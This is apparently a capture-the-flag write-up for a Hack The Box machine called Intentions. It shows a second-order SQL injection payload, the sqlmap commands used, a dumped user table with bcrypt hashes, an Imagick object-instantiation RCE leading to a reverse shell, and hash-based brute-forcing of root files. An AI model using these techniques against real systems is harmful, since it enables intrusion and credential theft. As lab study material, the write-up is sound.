Intentions

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 10.129.19.213 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 21:33 +08
Nmap scan report for 10.129.19.213
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

We don't need to add any domains for this machine. Since only port 80 is open, we should be proxying the traffic through Burpsuite.

Image Gallery Enumeration

Port 80 reveals a basic login page:

The HTTP requests sent when visiting this page are rather interesting:

So there are some forms of base64 encoded cookies involved in this website. Anyways, I registered a new user and logged in to view the gallery:

When we login, there is an extra cookie called token that is being assigned. It's a JWT token with this value:

Again, not sure what to do with this yet. We can click on the 'Gallery' option to see the traffic generated:

From the looks of it, it seems that the backend uses some kind of SQL database based on the data returned. When we view our 'Profile', we can see that there is an option to update it with our favourite genres:

This sends this POST request to the backend:

I did a gobuster scan for the /api directory and a feroxbuster scan on the general website to find more stuff too.

feroxbuster picked up on one interesting file:

Within the admin.js file, when we search for the string 'password', we can see this comment at the bottom:

{% code overflow="wrap" %} `

`` Hey team, I've deployed the v2 API to production and have started using it in the admin section. \n Let me know if you spot any bugs. \n This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! \n By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.\n This should take care of the concerns raised by our users regarding our lack of HTTPS connection.\n

The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some :)

{"genres":"food,travel,nature')ORROW(3888,4310)>(SELECTCOUNT(*),CONCAT(0x71787a7a71,(SELECT(ELT(3888=3888,1))),0x71626a6b71,FLOOR(RAND(0)*2))xFROM(SELECT2102UNIONSELECT1050UNIONSELECT3584UNIONSELECT2456)aGROUPBYx)AND('PEfz'LIKE'PEfz"}

$ sqlmap -r req --tamper=space2comment --batch --second-req req2

Parameter: JSON genres ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: {"genres":"food,travel,nature') AND 1039=1039 AND ('IkOG'='IkOG"}

available databases [2]: [] information_schema [] intentions

Database: intentions [4 tables] +------------------------+ | gallery_images | | migrations | | personal_access_tokens | | users | +------------------------+

Table: users [8 columns] +------------+---------------------+ | Column | Type | +------------+---------------------+ | admin | int(11) | | created_at | timestamp | | email | varchar(255) | | genres | text | | id | bigint(20) unsigned | | name | varchar(255) | | password | varchar(255) | | updated_at | timestamp | +------------+---------------------+

$ sqlmap -r req --tamper=space2comment --batch --second-req req2 -D intentions -T users --dump +----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+ | id | name | admin | email | genres | password | created_at | updated_at | +----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+ | 1 | steve | 1 | steve@intentions.htb | food,travel,nature | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa | 2023-02-02 17:43:00 | 2023-02-02 17:43:00 | | 2 | greg | 1 | greg@intentions.htb | food,travel,nature | $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m | 2023-02-02 17:44:11 | 2023-02-02 17:44:11 | | 3 | Melisa Runolfsson | 0 | hettie.rutherford@example.org | food,travel,nature | $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 4 | Camren Ullrich | 0 | nader.alva@example.org | food,travel,nature | $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 5 | Mr. Lucius Towne I | 0 | jones.laury@example.com | food,travel,nature | $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 6 | Jasen Mosciski | 0 | wanda93@example.org | food,travel,nature | $2y$10$oKGH6f8KdEblk6hzkqa2meqyDeiy5gOSSfMeygzoFJ9d1eqgiD2rW | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 7 | Monique D'Amore | 0 | mwisoky@example.org | food,travel,nature | $2y$10$pAMvp3xPODhnm38lnbwPYuZN0B/0nnHyTSMf1pbEoz6Ghjq.ecA7. | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 8 | Desmond Greenfelder | 0 | lura.zieme@example.org | food,travel,nature | $2y$10$.VfxnlYhad5YPvanmSt3L.5tGaTa4/dXv1jnfBVCpaR2h.SDDioy2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 9 | Mrs. Roxanne Raynor | 0 | pouros.marcus@example.net | food,travel,nature | $2y$10$UD1HYmPNuqsWXwhyXSW2d.CawOv1C8QZknUBRgg3/Kx82hjqbJFMO | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 10 | Rose Rutherford | 0 | mellie.okon@example.com | food,travel,nature | $2y$10$4nxh9pJV0HmqEdq9sKRjKuHshmloVH1eH0mSBMzfzx/kpO/XcKw1m | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 11 | Dr. Chelsie Greenholt I | 0 | trace94@example.net | food,travel,nature | $2y$10$by.sn.tdh2V1swiDijAZpe1bUpfQr6ZjNUIkug8LSdR2ZVdS9bR7W | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 12 | Prof. Johanna Ullrich MD | 0 | kayleigh18@example.com | food,travel,nature | $2y$10$9Yf1zb0jwxqeSnzS9CymsevVGLWIDYI4fQRF5704bMN8Vd4vkvvHi | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 13 | Prof. Gina Brekke | 0 | tdach@example.com | food,travel,nature | $2y$10$UnvH8xiHiZa.wryeO1O5IuARzkwbFogWqE7x74O1we9HYspsv9b2. | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 14 | Jarrett Bayer | 0 | lindsey.muller@example.org | food,travel,nature | $2y$10$yUpaabSbUpbfNIDzvXUrn.1O8I6LbxuK63GqzrWOyEt8DRd0ljyKS | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 15 | Macy Walter | 0 | tschmidt@example.org | food,travel,nature | $2y$10$01SOJhuW9WzULsWQHspsde3vVKt6VwNADSWY45Ji33lKn7sSvIxIm | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 16 | Prof. Devan Ortiz DDS | 0 | murray.marilie@example.com | food,travel,nature | $2y$10$I7I4W5pfcLwu3O/wJwAeJ.xqukO924Tx6WHz1am.PtEXFiFhZUd9S | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 17 | Eula Shields | 0 | barbara.goodwin@example.com | food,travel,nature | $2y$10$0fkHzVJ7paAx0rYErFAtA.2MpKY/ny1.kp/qFzU22t0aBNJHEMkg2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 18 | Mariano Corwin | 0 | maggio.lonny@example.org | food,travel,nature | $2y$10$p.QL52DVRRHvSM121QCIFOJnAHuVPG5gJDB/N2/lf76YTn1FQGiya | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 19 | Madisyn Reinger DDS | 0 | chackett@example.org | food,travel,nature | $2y$10$GDyg.hs4VqBhGlCBFb5dDO6Y0bwb87CPmgFLubYEdHLDXZVyn3lUW | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 20 | Jayson Strosin | 0 | layla.swift@example.net | food,travel,nature | $2y$10$Gy9v3MDkk5cWO40.H6sJ5uwYJCAlzxf/OhpXbkklsHoLdA8aVt3Ei | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 21 | Zelda Jenkins | 0 | rshanahan@example.net | food,travel,nature | $2y$10$/2wLaoWygrWELes242Cq6Ol3UUx5MmZ31Eqq91Kgm2O8S.39cv9L2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 22 | Eugene Okuneva I | 0 | shyatt@example.com | food,travel,nature | $2y$10$k/yUU3iPYEvQRBetaF6GpuxAwapReAPUU8Kd1C0Iygu.JQ/Cllvgy | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 23 | Mrs. Rhianna Hahn DDS | 0 | sierra.russel@example.com | food,travel,nature | $2y$10$0aYgz4DMuXe1gm5/aT.gTe0kgiEKO1xf/7ank4EW1s6ISt1Khs8Ma | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 24 | Viola Vandervort DVM | 0 | ferry.erling@example.com | food,travel,nature | $2y$10$iGDL/XqpsqG.uu875Sp2XOaczC6A3GfO5eOz1kL1k5GMVZMipZPpa | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 25 | Prof. Margret Von Jr. | 0 | beryl68@example.org | food,travel,nature | $2y$10$stXFuM4ct/eKhUfu09JCVOXCTOQLhDQ4CFjlIstypyRUGazqmNpCa | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 26 | Florence Crona | 0 | ellie.moore@example.net | food,travel,nature | $2y$10$NDW.r.M5zfl8yDT6rJTcjemJb0YzrJ6gl6tN.iohUugld3EZQZkQy | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 27 | Tod Casper | 0 | littel.blair@example.org | food,travel,nature | $2y$10$S5pjACbhVo9SGO4Be8hQY.Rn87sg10BTQErH3tChanxipQOe9l7Ou | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 | | 28 | test123 | 0 | test123@gmail.com | food,REFLECTED_VALUE# | $2y$10$7bfEqTkVy1LBAQa7wCpe2uUrQkDbeFXYb0v2dNaggPaxnP/W4M8H. | 2023-07-03 13:39:34 | 2023-07-03 14:12:11 | +----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+

Googling for Imagick PHP exploits led me to this page showing an RCE:

LogoExploiting Arbitrary Object Instantiations in PHP without Custom ClassesPT SWARM

The above exploit uses an RFI to load some PHP objects for RCE. We can test this with the website:

Since this was vulnerable to RFI, there's a high chance that it is vulnerable to the exploit above. We can follow the PoC to make it work. Firstly, we need to create a reverse shell payload within an image.

Host this image on a HTTP server, and now comes the tricky part of uploading it (which involves some brute forcing). There seem to be 2 payloads involved in this:

  • One involving vid:ms1:/tmp/php*.

  • One with the form-data uploading positive.png to the server as cmd.php.

To start this, we can follow the PoC and use Burp Intruder to do send a lot of requests. Here's the first request:

And here's the second request:

Lastly, we can have a bash loop running to give us a reverse shell using a basic PHP reverse shell from revshells.com.

Then, we just need to start both the payloads within Burpsuite Intruder with NULL requests.

When we run it both the Intruder instances, we would get a few requests to our Python HTTP server, and a reverse shell as www-data!

Privilege Escalation

Git Repo -> Greg Creds

I noticed that the web directory had a .git folder:

The .env file also contained some interesting stuff, but it wasn't super useful because we already dumped the database earlier:

We cannot read the git log output for this folder:

In this case, what we can do is just copy the entire .git folder using tar, as zip and 7z are both not present on the machine.

Afterwards, we can view the git log -p -2 output to find some credentials.

We can then su to greg.

Scanner Group -> Root Flag

We are part of the scanner group, and I used find to see what files we own:

There's a binary called scanner available on this machine:

This file is too big for reverse engineering, so let's do some dynamic analysis (AKA running it and seeing what it does).

Interesting. This file isn't an SUID binary, so let's check its capabilities:

This basically means that the scanner binary can read any file in the system. Since this file can read any file and tell us the hash of this file, we can use it to check whether files exist too.

The binary also allows us to specify the length of the bytes to check, meaning that we can guess each character one by one. For example, when we use -l 1:

The resultant hash is crackable on CrackStation to give the first character of the flag:

We can slowly brute force the root flag out character by character. The user flag was 33 characters, so this should be the same. I took the script from my RainyDay writeup and modified it a bit:

Using that, it is possible to brute force the hash slowly by replacing the hash each time.

I think we can do better. First, we can generate all the possible hashes of the root flag:

We can then modify our script a bit to include the full list of hashes and brute force that instead:

This would eventually get the correct hash out for us to submit.

Key Brute Force -> Root Shell

I felt a bit weird just capturing the root flag, so let's modify our script a bit more to get the private SSH key of the root user.

The 3000 limit would trigger a lot of errors since it attempts to read more characters than actually present, so we can just Ctrl + C it when that happens. It still generates the file containing all debug hashes properly.

We can then transfer this to our machine via hosting the output.txt file on a Python HTTP server on the machine, and doing some awk magic on it to get it into Python list format:

Just put this within a list like hashes = [ <all the hashes> ]. Afterwards, sshkey.py can be used to brute force the SSH key:

Then, just use this to ssh in as root:

Rooted!

PreviousGoferNextKeeper

Last updated